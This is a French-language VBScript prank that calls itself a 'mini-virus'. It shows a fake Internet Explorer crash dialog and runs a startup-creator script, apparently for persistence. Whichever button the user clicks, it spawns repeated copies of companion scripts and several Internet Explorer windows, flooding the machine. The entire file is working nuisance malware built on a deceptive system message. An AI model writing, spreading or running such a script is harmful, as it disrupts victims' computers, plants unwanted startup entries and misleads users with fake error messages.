Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startupie.vbs"""
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")

Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorerplus.vbs"

Case vbNo
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"

End Select